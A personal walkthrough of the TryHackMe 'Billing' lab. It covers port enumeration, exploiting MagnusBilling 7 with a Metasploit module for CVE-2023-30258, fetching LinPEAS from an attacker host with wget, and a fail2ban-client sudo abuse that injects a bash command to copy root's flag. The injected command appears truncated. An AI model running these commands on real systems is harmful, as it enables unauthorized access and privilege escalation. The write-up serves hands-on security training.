TryHackMe — Billing Walkthrough/Writeup

Billing — Some mistakes can be costly.

This walkthrough/write-up outlines my complete process with mistakes for tackling the Billing THM CTF challenge.

I’m not sure if this is something to be embarrassed about because of the kind of approach I used to capture the flags, but I’m sharing it anyway. This challenge is special to me because I relied purely on my thinking — no cheating, no shortcuts — just persistence and genuine effort.

Let’s get started!

To access the room: TryHackMe | Billing

Gain a shell, find the way, and escalate your privileges!

Note: Bruteforcing is out of scope for this room.

The first thing I did was run an Nmap scan to identify all the open ports on the target machine. This gave me an overview of the services that were accessible and helped me plan my next steps in the enumeration process.

nmap -p- -A -T4 <ip> -Pn

Target is running on Linux.

Port 22: open and running SSH — good to note in case I find any login credentials later.

Port 80: always a good place to start looking for clues.

Port 3306: open and running MySQL (MariaDB 10.3.23 or earlier). It allowed unauthorized access, so that caught my attention.

Port 5038: was open and running Asterisk Call Manager — didn’t look too common, so I kept it in mind for possible exploitation later.

Alright, so now that I had the list of open ports and their service versions, I jotted everything down to keep track as I moved on with the rest of the enumeration and figured out what to try next.

The first thing I did was visit port 80 to check if there was anything running on a web browser.

A Simple login page. I knew brute-forcing wouldn’t work, so I had to look for another way in.

I had a feeling there might be some open subdomains, so I checked for anything useful. I ran dirsearch to find any hidden stuff that might help.

dirsearch -u http://<ip>/mbilling -x 403

I ran it with -x 403 To filter out the non-existent or forbidden items, I cleaned up the results to focus on what looked useful.

You’ll see there are some open subdomains — I checked each one manually. It’s a good practice, too, just in case any information is exposed that shouldn’t be publicly accessible.

But what caught my attention was the /lib directory. I decided to poke around, thinking I probably wouldn’t find much—just a bunch of PHP files. Still, I went through it anyway, hoping something useful might pop up.

I went into the README.md file, and here’s what I found.

From the README.md file, I found out that the system running is MagnusBilling 7, so I started looking up potential exploits for it online.

While searching, I came across an article on Rapid7 by h00die-gr3y (h00die.gr3y@gmail.com), which detailed an exploit for MagnusBilling. Shout-out to Eldstal as well — both names were mentioned in the post.
https://www.rapid7.com/db/modules/exploit/linux/http/magnusbilling_unauth_rce_cve_2023_30258/

After reading the article and understanding how the exploit works, I launched msfconsole and attempted to gain a shell using the exploit targeting MagnusBilling 7.

Using those commands, I was able to get an initial foothold on the machine.

From this, we were able to get the first flag — user.txt

Get Vee Belgar’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

To get the second flag, root.txtI needed to gather more info and check if there were any running processes or services I could use to escalate my privileges.

You can see that we are asterisk. I ransudo -lto list the commands that the current user is allowed to run with sudo (superuser privileges) without needing the root password.

I noticed that fail2ban-client could be run as root without needing a password, which instantly grabbed my attention. And since I wasn’t familiar with it, I Googled it (lol). Turns out, it’s a security tool in Linux that helps protect against brute-force attacks by monitoring log files and banning suspicious IPs.

After that, I downloaded and ran LinPEAS on the target machine to gather more info and see if there were any privilege escalation opportunities I might’ve missed.

I started a simple HTTP server on port 80 from my attacker box to serve the LinPEAS script to the target machine.

python3 -m http.server 80

On the target machine:

wget http://<attacker-ip>/linpeas.sh

After downloading it to the target machine, I modified the script permissions so I could run it.

chmod +x linpeas.sh

There was a lot of info to go through, so I started sorting and scanning everything. Some of it looked interesting, but these caught my attention.

At this point, I was kinda lost — I didn’t know what to do with all the info I had. So I grabbed some coffee and just sat there thinking. Then it hit me: I remembered that fail2ban-client could be run with sudo without needing a password.

After doing a bit of research on fail2ban-client, I came across this exploit on Packet Storm: https://vulners.com/packetstorm/PACKETSTORM:189989. It looked promising, so I decided to dig deeper into it.

Before I go any further, I just want to say — I tried out the commands I found in the article, hoping they’d work. I only had a rough idea of what they did, but before running anything, I took some time to break them down and try to understand each part.

So yeah, enough of the drama…

sudo /usr/bin/fail2ban-client restart

to refresh the service.

sudo /usr/bin/fail2ban-client set sshd action iptables-multiport actionban "/bin/bash -c 'cat /root/root.txt > /tmp/root.txt && chmod 777

Uses `fail2ban-client set` to replace an existing action with a command that copies `/root/root.txt` to `/tmp/root.txt` and sets its permissions to 777

sudo /usr/bin/fail2ban-client set sshd banip 127.0.0.1

Triggers the malicious action by banning an IP, effectively executing the injected command.

By running all these commands, it allows us to execute unauthorized commands via the fail2ban-client command. It specifically demonstrates how to read the contents of /root/root.txt and move it to /tmp/root.txt with world-readable permissions.

Success! I was able to move root.txt to the /tmp directory.

And just like that, I got the second flag — root.txt

CONCLUSION

This CTF was my first real machine after stepping out of my comfort zone. Before this, if I didn’t know what to do, I’d just pull up a walkthrough and follow along. But this time, I tried to figure things out on my own — even if that meant messing up and getting stuck a lot.

One big thing I learned is that when something catches my gut feeling, I should follow it and gather more info. That’s how I ended up looking into fail2ban-client, which I almost ignored at first.

Also, while it’s important to gather info on the machine, tools like LinPEAS can be a bit overwhelming and time-consuming. It didn’t help much this time, so next time I’ll work on multitasking better and not relying too heavily on automated tools.

The exploit I used was in the Privilege Escalation / Command Execution category. I didn’t fully get root access, but I did manage to grab the root.txt flag, which still feels like a solid win. A flag’s a flag, right?

I may not have rooted the box this time,
but next time… I won’t just find the flag. I’ll own it!

Access is just a matter of time…. :)

Thanks for reading!